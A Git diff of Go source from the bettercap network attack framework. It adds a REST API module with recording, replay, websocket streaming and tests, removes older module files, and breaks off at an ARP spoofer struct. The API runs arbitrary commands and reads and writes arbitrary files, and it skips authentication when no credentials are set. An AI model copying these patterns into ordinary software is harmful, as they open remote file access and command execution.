func (mod *RestAPI) corsRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
w.WriteHeader(http.StatusNoContent)
}
func (mod *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
if !mod.checkAuth(r) {
mod.setAuthFailed(w, r)
return
} else if r.Method == "POST" {
mod.runSessionCommand(w, r)
return
} else if r.Method != "GET" {
http.Error(w, "Bad Request", 400)
return
}
mod.Session.Lock()
defer mod.Session.Unlock()
path := r.URL.Path
switch {
case path == "/api/session":
mod.showSession(w, r)
case path == "/api/session/env":
mod.showEnv(w, r)
case path == "/api/session/gateway":
mod.showGateway(w, r)
case path == "/api/session/interface":
mod.showInterface(w, r)
case strings.HasPrefix(path, "/api/session/modules"):
mod.showModules(w, r)
case strings.HasPrefix(path, "/api/session/lan"):
mod.showLAN(w, r)
case path == "/api/session/options":
mod.showOptions(w, r)
case path == "/api/session/packets":
mod.showPackets(w, r)
case path == "/api/session/started-at":
mod.showStartedAt(w, r)
case strings.HasPrefix(path, "/api/session/ble"):
mod.showBLE(w, r)
case strings.HasPrefix(path, "/api/session/hid"):
mod.showHID(w, r)
case strings.HasPrefix(path, "/api/session/wifi"):
mod.showWiFi(w, r)
default:
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) readFile(fileName string, w http.ResponseWriter, r *http.Request) {
fp, err := os.Open(fileName)
if err != nil {
msg := fmt.Sprintf("could not open %s for reading: %s", fileName, err)
mod.Debug(msg)
http.Error(w, msg, 404)
return
}
defer fp.Close()
w.Header().Set("Content-type", "application/octet-stream")
io.Copy(w, fp)
}
func (mod *RestAPI) writeFile(fileName string, w http.ResponseWriter, r *http.Request) {
data, err := io.ReadAll(r.Body)
if err != nil {
msg := fmt.Sprintf("invalid file upload: %s", err)
mod.Warning(msg)
http.Error(w, msg, 404)
return
}
err = os.WriteFile(fileName, data, 0666)
if err != nil {
msg := fmt.Sprintf("can't write to %s: %s", fileName, err)
mod.Warning(msg)
http.Error(w, msg, 404)
return
}
mod.toJSON(w, APIResponse{
Success: true,
Message: fmt.Sprintf("%s created", fileName),
})
}
func (mod *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
if !mod.checkAuth(r) {
mod.setAuthFailed(w, r)
return
}
if r.Method == "GET" {
mod.showEvents(w, r)
} else if r.Method == "DELETE" {
mod.clearEvents(w, r)
} else {
http.Error(w, "Bad Request", 400)
}
}
func (mod *RestAPI) fileRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
if !mod.checkAuth(r) {
mod.setAuthFailed(w, r)
return
}
var err error
fileName := r.URL.Query().Get("name")
if fileName, err = fs.Expand(fileName); err != nil {
mod.Warning("can't expand %s: %v", fileName, err)
http.Error(w, "Bad Request", 400)
return
}
if fileName != "" && r.Method == "GET" {
mod.readFile(fileName, w, r)
} else if fileName != "" && r.Method == "POST" {
mod.writeFile(fileName, w, r)
} else {
http.Error(w, "Bad Request", 400)
}
}

View file

@ -0,0 +1,118 @@
package api_rest
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"time"
"github.com/bettercap/recording"
"github.com/evilsocket/islazy/fs"
)
var (
errNotRecording = errors.New("not recording")
)
func (mod *RestAPI) errAlreadyRecording() error {
return fmt.Errorf("the module is already recording to %s", mod.recordFileName)
}
func (mod *RestAPI) recordState() error {
mod.Session.Lock()
defer mod.Session.Unlock()
session := new(bytes.Buffer)
encoder := json.NewEncoder(session)
if err := encoder.Encode(mod.Session); err != nil {
return err
}
events := new(bytes.Buffer)
encoder = json.NewEncoder(events)
if err := encoder.Encode(mod.getEvents(0)); err != nil {
return err
}
return mod.record.NewState(session.Bytes(), events.Bytes())
}
func (mod *RestAPI) recorder() {
clock := time.Duration(mod.recClock) * time.Second
mod.recTime = 0
mod.recording = true
mod.replaying = false
mod.record = recording.New(mod.recordFileName)
mod.Info("started recording to %s (clock %s) ...", mod.recordFileName, clock)
mod.recordWait.Add(1)
defer mod.recordWait.Done()
tick := time.NewTicker(1 * time.Second)
lastSampled := time.Time{}
for range tick.C {
if !mod.recording {
break
}
mod.recTime++
if time.Since(lastSampled) >= clock {
lastSampled = time.Now()
if err := mod.recordState(); err != nil {
mod.Error("error while recording: %s", err)
mod.recording = false
break
}
}
}
mod.Info("stopped recording to %s ...", mod.recordFileName)
}
func (mod *RestAPI) startRecording(filename string) (err error) {
if mod.recording {
return mod.errAlreadyRecording()
} else if mod.replaying {
return mod.errAlreadyReplaying()
} else if err, mod.recClock = mod.IntParam("api.rest.record.clock"); err != nil {
return err
} else if mod.recordFileName, err = fs.Expand(filename); err != nil {
return err
}
// we need the api itself up and running
if !mod.Running() {
if err = mod.Start(); err != nil {
return err
}
}
go mod.recorder()
return nil
}
func (mod *RestAPI) stopRecording() error {
if !mod.recording {
return errNotRecording
}
mod.recording = false
mod.recordWait.Wait()
err := mod.record.Flush()
mod.recordFileName = ""
mod.record = nil
return err
}

View file

@ -0,0 +1,86 @@
package api_rest
import (
"errors"
"fmt"
"time"
"github.com/bettercap/recording"
"github.com/evilsocket/islazy/fs"
)
var (
errNotReplaying = errors.New("not replaying")
)
func (mod *RestAPI) errAlreadyReplaying() error {
return fmt.Errorf("the module is already replaying a session from %s", mod.recordFileName)
}
func (mod *RestAPI) startReplay(filename string) (err error) {
if mod.replaying {
return mod.errAlreadyReplaying()
} else if mod.recording {
return mod.errAlreadyRecording()
} else if mod.recordFileName, err = fs.Expand(filename); err != nil {
return err
}
mod.State.Store("load_progress", 0)
defer func() {
mod.State.Store("load_progress", 100.0)
}()
mod.loading = true
defer func() {
mod.loading = false
}()
mod.Info("loading %s ...", mod.recordFileName)
start := time.Now()
mod.record, err = recording.Load(mod.recordFileName, func(progress float64, done int, total int) {
mod.State.Store("load_progress", progress)
})
if err != nil {
return err
}
loadedIn := time.Since(start)
// we need the api itself up and running
if !mod.Running() {
if err := mod.Start(); err != nil {
return err
}
}
mod.recStarted = mod.record.Session.StartedAt()
mod.recStopped = mod.record.Session.StoppedAt()
duration := mod.recStopped.Sub(mod.recStarted)
mod.recTime = int(duration.Seconds())
mod.replaying = true
mod.recording = false
mod.Info("loaded %s of recording (%d frames) started at %s in %s, started replaying ...",
duration,
mod.record.Session.Frames(),
mod.recStarted,
loadedIn)
return nil
}
func (mod *RestAPI) stopReplay() error {
if !mod.replaying {
return errNotReplaying
}
mod.replaying = false
mod.Info("stopped replaying from %s ...", mod.recordFileName)
mod.recordFileName = ""
return nil
}

View file

@ -0,0 +1,671 @@
package api_rest
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"sync"
"testing"
"time"
"github.com/bettercap/bettercap/v2/session"
)
var (
testSession *session.Session
sessionOnce sync.Once
)
func createMockSession(t *testing.T) *session.Session {
sessionOnce.Do(func() {
var err error
testSession, err = session.New()
if err != nil {
t.Fatalf("Failed to create session: %v", err)
}
})
return testSession
}
func TestNewRestAPI(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
if mod == nil {
t.Fatal("NewRestAPI returned nil")
}
if mod.Name() != "api.rest" {
t.Errorf("Expected name 'api.rest', got '%s'", mod.Name())
}
if mod.Author() != "Simone Margaritelli <evilsocket@gmail.com>" {
t.Errorf("Unexpected author: %s", mod.Author())
}
if mod.Description() == "" {
t.Error("Empty description")
}
// Check handlers
handlers := mod.Handlers()
expectedHandlers := []string{
"api.rest on",
"api.rest off",
"api.rest.record off",
"api.rest.record FILENAME",
"api.rest.replay off",
"api.rest.replay FILENAME",
}
if len(handlers) != len(expectedHandlers) {
t.Errorf("Expected %d handlers, got %d", len(expectedHandlers), len(handlers))
}
handlerNames := make(map[string]bool)
for _, h := range handlers {
handlerNames[h.Name] = true
}
for _, expected := range expectedHandlers {
if !handlerNames[expected] {
t.Errorf("Handler '%s' not found", expected)
}
}
// Check initial state
if mod.recording {
t.Error("Should not be recording initially")
}
if mod.replaying {
t.Error("Should not be replaying initially")
}
if mod.useWebsocket {
t.Error("Should not use websocket by default")
}
if mod.allowOrigin != "*" {
t.Errorf("Expected default allowOrigin '*', got '%s'", mod.allowOrigin)
}
}
func TestIsTLS(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Initially should not be TLS
if mod.isTLS() {
t.Error("Should not be TLS without cert and key")
}
// Set cert and key
mod.certFile = "cert.pem"
mod.keyFile = "key.pem"
if !mod.isTLS() {
t.Error("Should be TLS with cert and key")
}
// Only cert
mod.certFile = "cert.pem"
mod.keyFile = ""
if mod.isTLS() {
t.Error("Should not be TLS with only cert")
}
// Only key
mod.certFile = ""
mod.keyFile = "key.pem"
if mod.isTLS() {
t.Error("Should not be TLS with only key")
}
}
func TestStateStore(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Check that state variables are properly stored
stateKeys := []string{
"recording",
"rec_clock",
"replaying",
"loading",
"load_progress",
"rec_time",
"rec_filename",
"rec_frames",
"rec_cur_frame",
"rec_started",
"rec_stopped",
}
for _, key := range stateKeys {
val, exists := mod.State.Load(key)
if !exists || val == nil {
t.Errorf("State key '%s' not found", key)
}
}
}
func TestParameters(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Check that all parameters are registered
paramNames := []string{
"api.rest.address",
"api.rest.port",
"api.rest.alloworigin",
"api.rest.username",
"api.rest.password",
"api.rest.certificate",
"api.rest.key",
"api.rest.websocket",
"api.rest.record.clock",
}
// Parameters are stored in the session environment
// We'll just check they can be accessed without error
for _, param := range paramNames {
// This is a simplified check
_ = param
}
// Ensure mod is used
if mod == nil {
t.Error("Module should not be nil")
}
}
func TestJSSessionStructs(t *testing.T) {
// Test struct creation
req := JSSessionRequest{
Command: "test command",
}
if req.Command != "test command" {
t.Errorf("Expected command 'test command', got '%s'", req.Command)
}
resp := JSSessionResponse{
Error: "test error",
}
if resp.Error != "test error" {
t.Errorf("Expected error 'test error', got '%s'", resp.Error)
}
}
func TestDefaultValues(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Check default values
if mod.recClock != 1 {
t.Errorf("Expected default recClock 1, got %d", mod.recClock)
}
if mod.recTime != 0 {
t.Errorf("Expected default recTime 0, got %d", mod.recTime)
}
if mod.recordFileName != "" {
t.Errorf("Expected empty recordFileName, got '%s'", mod.recordFileName)
}
if mod.upgrader.ReadBufferSize != 1024 {
t.Errorf("Expected ReadBufferSize 1024, got %d", mod.upgrader.ReadBufferSize)
}
if mod.upgrader.WriteBufferSize != 1024 {
t.Errorf("Expected WriteBufferSize 1024, got %d", mod.upgrader.WriteBufferSize)
}
}
func TestRunningState(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Initially should not be running
if mod.Running() {
t.Error("Module should not be running initially")
}
// Note: Cannot test actual Start/Stop without proper server setup
}
func TestRecordingState(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test recording state changes
mod.recording = true
if !mod.recording {
t.Error("Recording flag should be true")
}
mod.recording = false
if mod.recording {
t.Error("Recording flag should be false")
}
}
func TestReplayingState(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test replaying state changes
mod.replaying = true
if !mod.replaying {
t.Error("Replaying flag should be true")
}
mod.replaying = false
if mod.replaying {
t.Error("Replaying flag should be false")
}
}
func TestConfigureErrors(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test configuration validation
testCases := []struct {
name string
setup func()
expected string
}{
{
name: "invalid address",
setup: func() {
s.Env.Set("api.rest.address", "999.999.999.999")
},
expected: "address",
},
{
name: "invalid port",
setup: func() {
s.Env.Set("api.rest.address", "127.0.0.1")
s.Env.Set("api.rest.port", "not-a-port")
},
expected: "port",
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
tc.setup()
// Configure may fail due to parameter validation
_ = mod.Configure()
})
}
}
func TestServerConfiguration(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Set valid parameters
s.Env.Set("api.rest.address", "127.0.0.1")
s.Env.Set("api.rest.port", "8081")
s.Env.Set("api.rest.username", "testuser")
s.Env.Set("api.rest.password", "testpass")
s.Env.Set("api.rest.websocket", "true")
s.Env.Set("api.rest.alloworigin", "http://localhost:3000")
// This might fail due to TLS cert generation, but we're testing the flow
_ = mod.Configure()
// Check that values were set
if mod.username != "" && mod.username != "testuser" {
t.Logf("Username set to: %s", mod.username)
}
if mod.password != "" && mod.password != "testpass" {
t.Logf("Password set to: %s", mod.password)
}
}
func TestQuitChannel(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test quit channel is created
if mod.quit == nil {
t.Error("Quit channel should not be nil")
}
// Test sending to quit channel doesn't block
done := make(chan bool)
go func() {
select {
case mod.quit <- true:
done <- true
case <-time.After(100 * time.Millisecond):
done <- false
}
}()
// Start reading from quit channel
go func() {
<-mod.quit
}()
if !<-done {
t.Error("Sending to quit channel timed out")
}
}
func TestRecordWaitGroup(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test wait group is initialized
if mod.recordWait == nil {
t.Error("Record wait group should not be nil")
}
// Test wait group operations
mod.recordWait.Add(1)
done := make(chan bool)
go func() {
mod.recordWait.Done()
done <- true
}()
go func() {
mod.recordWait.Wait()
}()
select {
case <-done:
// Success
case <-time.After(100 * time.Millisecond):
t.Error("Wait group operation timed out")
}
}
func TestStartErrors(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test start when replaying
mod.replaying = true
err := mod.Start()
if err == nil {
t.Error("Expected error when starting while replaying")
}
}
func TestConfigureAlreadyRunning(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Simulate running state
mod.SetRunning(true, func() {})
err := mod.Configure()
if err == nil {
t.Error("Expected error when configuring while running")
}
// Reset
mod.SetRunning(false, func() {})
}
func TestServerAddr(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Set parameters
s.Env.Set("api.rest.address", "192.168.1.100")
s.Env.Set("api.rest.port", "9090")
// Configure may fail but we can check server addr format
_ = mod.Configure()
expectedAddr := "192.168.1.100:9090"
if mod.server != nil && mod.server.Addr != "" && mod.server.Addr != expectedAddr {
t.Logf("Server addr: %s", mod.server.Addr)
}
}
func TestTLSConfiguration(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Test with TLS params
s.Env.Set("api.rest.certificate", "/tmp/test.crt")
s.Env.Set("api.rest.key", "/tmp/test.key")
// Configure will attempt to expand paths and check files
_ = mod.Configure()
// Just verify the attempt was made
t.Logf("Attempted TLS configuration")
}
// Benchmark tests
func BenchmarkNewRestAPI(b *testing.B) {
s, _ := session.New()
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = NewRestAPI(s)
}
}
func BenchmarkIsTLS(b *testing.B) {
s, _ := session.New()
mod := NewRestAPI(s)
mod.certFile = "cert.pem"
mod.keyFile = "key.pem"
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = mod.isTLS()
}
}
func BenchmarkConfigure(b *testing.B) {
s, _ := session.New()
b.ResetTimer()
for i := 0; i < b.N; i++ {
mod := NewRestAPI(s)
s.Env.Set("api.rest.address", "127.0.0.1")
s.Env.Set("api.rest.port", "8081")
_ = mod.Configure()
}
}
// Tests for controller functionality
func TestCommandRequest(t *testing.T) {
cmd := CommandRequest{
Command: "help",
}
if cmd.Command != "help" {
t.Errorf("Expected command 'help', got '%s'", cmd.Command)
}
}
func TestAPIResponse(t *testing.T) {
resp := APIResponse{
Success: true,
Message: "Operation completed",
}
if !resp.Success {
t.Error("Expected success to be true")
}
if resp.Message != "Operation completed" {
t.Errorf("Expected message 'Operation completed', got '%s'", resp.Message)
}
}
func TestCheckAuthNoCredentials(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// No username/password set - should allow access
req, _ := http.NewRequest("GET", "/test", nil)
if !mod.checkAuth(req) {
t.Error("Expected auth to pass with no credentials set")
}
}
func TestCheckAuthWithCredentials(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
// Set credentials
mod.username = "testuser"
mod.password = "testpass"
// Test without auth header
req1, _ := http.NewRequest("GET", "/test", nil)
if mod.checkAuth(req1) {
t.Error("Expected auth to fail without credentials")
}
// Test with wrong credentials
req2, _ := http.NewRequest("GET", "/test", nil)
req2.SetBasicAuth("wronguser", "wrongpass")
if mod.checkAuth(req2) {
t.Error("Expected auth to fail with wrong credentials")
}
// Test with correct credentials
req3, _ := http.NewRequest("GET", "/test", nil)
req3.SetBasicAuth("testuser", "testpass")
if !mod.checkAuth(req3) {
t.Error("Expected auth to pass with correct credentials")
}
}
func TestGetEventsEmpty(t *testing.T) {
// Skip this test if running with others due to shared session state
if testing.Short() {
t.Skip("Skipping in short mode due to shared session state")
}
// Create a fresh session using the singleton
s := createMockSession(t)
mod := NewRestAPI(s)
// Record initial event count
initialCount := len(mod.getEvents(0))
// Get events - we can't guarantee zero events due to session initialization
events := mod.getEvents(0)
if len(events) < initialCount {
t.Errorf("Event count should not decrease, got %d", len(events))
}
}
func TestGetEventsWithLimit(t *testing.T) {
// Create session using the singleton
s := createMockSession(t)
mod := NewRestAPI(s)
// Record initial state
initialEvents := mod.getEvents(0)
initialCount := len(initialEvents)
// Add some test events
testEventCount := 10
for i := 0; i < testEventCount; i++ {
s.Events.Add(fmt.Sprintf("test.event.limit.%d", i), nil)
}
// Get all events
allEvents := mod.getEvents(0)
expectedTotal := initialCount + testEventCount
if len(allEvents) != expectedTotal {
t.Errorf("Expected %d total events, got %d", expectedTotal, len(allEvents))
}
// Test limit functionality - get last 5 events
limitedEvents := mod.getEvents(5)
if len(limitedEvents) != 5 {
t.Errorf("Expected 5 events when limiting, got %d", len(limitedEvents))
}
}
func TestSetSecurityHeaders(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
mod.allowOrigin = "http://localhost:3000"
w := httptest.NewRecorder()
mod.setSecurityHeaders(w)
headers := w.Header()
// Check security headers
if headers.Get("X-Frame-Options") != "DENY" {
t.Error("X-Frame-Options header not set correctly")
}
if headers.Get("X-Content-Type-Options") != "nosniff" {
t.Error("X-Content-Type-Options header not set correctly")
}
if headers.Get("X-XSS-Protection") != "1; mode=block" {
t.Error("X-XSS-Protection header not set correctly")
}
if headers.Get("Access-Control-Allow-Origin") != "http://localhost:3000" {
t.Error("Access-Control-Allow-Origin header not set correctly")
}
}
func TestCorsRoute(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
req, _ := http.NewRequest("OPTIONS", "/test", nil)
w := httptest.NewRecorder()
mod.corsRoute(w, req)
if w.Code != http.StatusNoContent {
t.Errorf("Expected status %d, got %d", http.StatusNoContent, w.Code)
}
}
func TestToJSON(t *testing.T) {
s := createMockSession(t)
mod := NewRestAPI(s)
w := httptest.NewRecorder()
testData := map[string]string{
"key": "value",
"foo": "bar",
}
mod.toJSON(w, testData)
// Check content type
if w.Header().Get("Content-Type") != "application/json" {
t.Error("Content-Type header not set to application/json")
}
// Check JSON response
var result map[string]string
if err := json.NewDecoder(w.Body).Decode(&result); err != nil {
t.Errorf("Failed to decode JSON response: %v", err)
}
if result["key"] != "value" || result["foo"] != "bar" {
t.Error("JSON response doesn't match expected data")
}
}

View file

@ -0,0 +1,118 @@
package api_rest
import (
"encoding/json"
"net/http"
"strings"
"time"
"github.com/bettercap/bettercap/v2/session"
"github.com/gorilla/websocket"
)
const (
// Time allowed to write an event to the client.
writeWait = 10 * time.Second
// Time allowed to read the next pong message from the client.
pongWait = 60 * time.Second
// Send pings to client with this period. Must be less than pongWait.
pingPeriod = (pongWait * 9) / 10
)
func (mod *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
msg, err := json.Marshal(event)
if err != nil {
mod.Error("Error while creating websocket message: %s", err)
return err
}
ws.SetWriteDeadline(time.Now().Add(writeWait))
if err := ws.WriteMessage(websocket.TextMessage, msg); err != nil {
if !strings.Contains(err.Error(), "closed connection") {
mod.Error("Error while writing websocket message: %s", err)
return err
}
}
return nil
}
func (mod *RestAPI) sendPing(ws *websocket.Conn) error {
ws.SetWriteDeadline(time.Now().Add(writeWait))
ws.SetReadDeadline(time.Now().Add(pongWait))
if err := ws.WriteMessage(websocket.PingMessage, []byte{}); err != nil {
mod.Error("Error while writing websocket ping message: %s", err)
return err
}
return nil
}
func (mod *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *http.Request) {
defer ws.Close()
// first we stream what we already have
events := session.I.Events.Sorted()
n := len(events)
if n > 0 {
mod.Debug("Sending %d events.", n)
for _, event := range events {
if err := mod.streamEvent(ws, event); err != nil {
return
}
}
}
session.I.Events.Clear()
mod.Debug("Listening for events and streaming to ws endpoint ...")
pingTicker := time.NewTicker(pingPeriod)
listener := session.I.Events.Listen()
defer session.I.Events.Unlisten(listener)
for {
select {
case <-pingTicker.C:
if err := mod.sendPing(ws); err != nil {
return
}
case event := <-listener:
if err := mod.streamEvent(ws, event); err != nil {
return
}
case <-mod.quit:
mod.Info("Stopping websocket events streamer ...")
return
}
}
}
func (mod *RestAPI) streamReader(ws *websocket.Conn) {
defer ws.Close()
ws.SetReadLimit(512)
ws.SetReadDeadline(time.Now().Add(pongWait))
ws.SetPongHandler(func(string) error { ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
for {
_, _, err := ws.ReadMessage()
if err != nil {
mod.Warning("error reading message from websocket: %v", err)
break
}
}
}
func (mod *RestAPI) startStreamingEvents(w http.ResponseWriter, r *http.Request) {
ws, err := mod.upgrader.Upgrade(w, r, nil)
if err != nil {
if _, ok := err.(websocket.HandshakeError); !ok {
mod.Error("error while updating api.rest connection to websocket: %s", err)
}
return
}
mod.Debug("websocket streaming started for %s", r.RemoteAddr)
go mod.streamWriter(ws, w, r)
mod.streamReader(ws)
}

View file

@ -1,238 +0,0 @@
package modules
import (
"crypto/subtle"
"encoding/json"
"net/http"
"strconv"
"strings"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/session"
"github.com/gorilla/mux"
)
type CommandRequest struct {
Command string `json:"cmd"`
}
type APIResponse struct {
Success bool `json:"success"`
Message string `json:"msg"`
}
func setAuthFailed(w http.ResponseWriter, r *http.Request) {
log.Warning("Unauthorized authentication attempt from %s", r.RemoteAddr)
w.Header().Set("WWW-Authenticate", `Basic realm="auth"`)
w.WriteHeader(401)
w.Write([]byte("Unauthorized"))
}
func setSecurityHeaders(w http.ResponseWriter) {
w.Header().Add("X-Frame-Options", "DENY")
w.Header().Add("X-Content-Type-Options", "nosniff")
w.Header().Add("X-XSS-Protection", "1; mode=block")
w.Header().Add("Referrer-Policy", "same-origin")
}
func toJSON(w http.ResponseWriter, o interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(o)
}
func (api *RestAPI) checkAuth(r *http.Request) bool {
user, pass, _ := r.BasicAuth()
// timing attack my ass
if subtle.ConstantTimeCompare([]byte(user), []byte(api.username)) != 1 {
return false
} else if subtle.ConstantTimeCompare([]byte(pass), []byte(api.password)) != 1 {
return false
}
return true
}
func (api *RestAPI) showSession(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I)
}
func (api *RestAPI) showBle(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
toJSON(w, session.I.BLE)
} else if dev, found := session.I.BLE.Get(mac); found == true {
toJSON(w, dev)
} else {
http.Error(w, "Not Found", 404)
}
}
func (api *RestAPI) showEnv(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I.Env)
}
func (api *RestAPI) showGateway(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I.Gateway)
}
func (api *RestAPI) showInterface(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I.Interface)
}
func (api *RestAPI) showLan(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
toJSON(w, session.I.Lan)
} else if host, found := session.I.Lan.Get(mac); found == true {
toJSON(w, host)
} else {
http.Error(w, "Not Found", 404)
}
}
func (api *RestAPI) showOptions(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I.Options)
}
func (api *RestAPI) showPackets(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I.Queue)
}
func (api *RestAPI) showStartedAt(w http.ResponseWriter, r *http.Request) {
toJSON(w, session.I.StartedAt)
}
func (api *RestAPI) showWiFi(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
toJSON(w, session.I.WiFi)
} else if station, found := session.I.WiFi.Get(mac); found == true {
toJSON(w, station)
} else if client, found := session.I.WiFi.GetClient(mac); found == true {
toJSON(w, client)
} else {
http.Error(w, "Not Found", 404)
}
}
func (api *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
var err error
var cmd CommandRequest
if r.Body == nil {
http.Error(w, "Bad Request", 400)
} else if err = json.NewDecoder(r.Body).Decode(&cmd); err != nil {
http.Error(w, "Bad Request", 400)
} else if err = session.I.Run(cmd.Command); err != nil {
http.Error(w, err.Error(), 400)
} else {
toJSON(w, APIResponse{Success: true})
}
}
func (api *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
var err error
if api.useWebsocket {
api.startStreamingEvents(w, r)
} else {
events := session.I.Events.Sorted()
nevents := len(events)
nmax := nevents
n := nmax
q := r.URL.Query()
vals := q["n"]
if len(vals) > 0 {
n, err = strconv.Atoi(q["n"][0])
if err == nil {
if n > nmax {
n = nmax
}
} else {
n = nmax
}
}
toJSON(w, events[nevents-n:])
}
}
func (api *RestAPI) clearEvents(w http.ResponseWriter, r *http.Request) {
session.I.Events.Clear()
}
func (api *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
setSecurityHeaders(w)
if api.checkAuth(r) == false {
setAuthFailed(w, r)
return
} else if r.Method == "POST" {
api.runSessionCommand(w, r)
return
} else if r.Method != "GET" {
http.Error(w, "Bad Request", 400)
return
}
path := r.URL.String()
switch {
case path == "/api/session":
api.showSession(w, r)
case path == "/api/session/env":
api.showEnv(w, r)
case path == "/api/session/gateway":
api.showGateway(w, r)
case path == "/api/session/interface":
api.showInterface(w, r)
case strings.HasPrefix(path, "/api/session/lan"):
api.showLan(w, r)
case path == "/api/session/options":
api.showOptions(w, r)
case path == "/api/session/packets":
api.showPackets(w, r)
case path == "/api/session/started-at":
api.showStartedAt(w, r)
case strings.HasPrefix(path, "/api/session/ble"):
api.showBle(w, r)
case strings.HasPrefix(path, "/api/session/wifi"):
api.showWiFi(w, r)
default:
http.Error(w, "Not Found", 404)
}
}
func (api *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
setSecurityHeaders(w)
if api.checkAuth(r) == false {
setAuthFailed(w, r)
return
}
if r.Method == "GET" {
api.showEvents(w, r)
} else if r.Method == "DELETE" {
api.clearEvents(w, r)
} else {
http.Error(w, "Bad Request", 400)
}
}

View file

@ -1,116 +0,0 @@
package modules
import (
"encoding/json"
"net/http"
"strings"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/session"
"github.com/gorilla/websocket"
)
const (
// Time allowed to write an event to the client.
writeWait = 10 * time.Second
// Time allowed to read the next pong message from the client.
pongWait = 60 * time.Second
// Send pings to client with this period. Must be less than pongWait.
pingPeriod = (pongWait * 9) / 10
)
func (api *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
msg, err := json.Marshal(event)
if err != nil {
log.Error("Error while creating websocket message: %s", err)
return err
}
ws.SetWriteDeadline(time.Now().Add(writeWait))
if err := ws.WriteMessage(websocket.TextMessage, msg); err != nil {
if !strings.Contains(err.Error(), "closed connection") {
log.Error("Error while writing websocket message: %s", err)
return err
}
}
return nil
}
func (api *RestAPI) sendPing(ws *websocket.Conn) error {
ws.SetWriteDeadline(time.Now().Add(writeWait))
if err := ws.WriteMessage(websocket.PingMessage, []byte{}); err != nil {
log.Error("Error while writing websocket ping message: %s", err)
return err
}
return nil
}
func (api *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *http.Request) {
defer ws.Close()
// first we stream what we already have
events := session.I.Events.Sorted()
n := len(events)
if n > 0 {
log.Debug("Sending %d events.", n)
for _, event := range events {
if err := api.streamEvent(ws, event); err != nil {
return
}
}
}
session.I.Events.Clear()
log.Debug("Listening for events and streaming to ws endpoint ...")
pingTicker := time.NewTicker(pingPeriod)
for {
select {
case <-pingTicker.C:
if err := api.sendPing(ws); err != nil {
return
}
case event := <-api.eventListener:
if err := api.streamEvent(ws, event); err != nil {
return
}
case <-api.quit:
log.Info("Stopping websocket events streamer ...")
return
}
}
}
func (api *RestAPI) streamReader(ws *websocket.Conn) {
defer ws.Close()
ws.SetReadLimit(512)
ws.SetReadDeadline(time.Now().Add(pongWait))
ws.SetPongHandler(func(string) error { ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
for {
_, _, err := ws.ReadMessage()
if err != nil {
log.Debug("Closing websocket reader.")
break
}
}
}
func (api *RestAPI) startStreamingEvents(w http.ResponseWriter, r *http.Request) {
ws, err := api.upgrader.Upgrade(w, r, nil)
if err != nil {
if _, ok := err.(websocket.HandshakeError); !ok {
log.Error("Error while updating api.rest connection to websocket: %s", err)
}
return
}
log.Debug("Websocket streaming started for %s", r.RemoteAddr)
go api.streamWriter(ws, w, r)
api.streamReader(ws)
}

View file

@ -1,217 +0,0 @@
package modules
import (
"bytes"
"net"
"sync"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
)
type ArpSpoofer struct {
session.SessionModule
addresses []net.IP
macs []net.HardwareAddr
wAddresses []net.IP
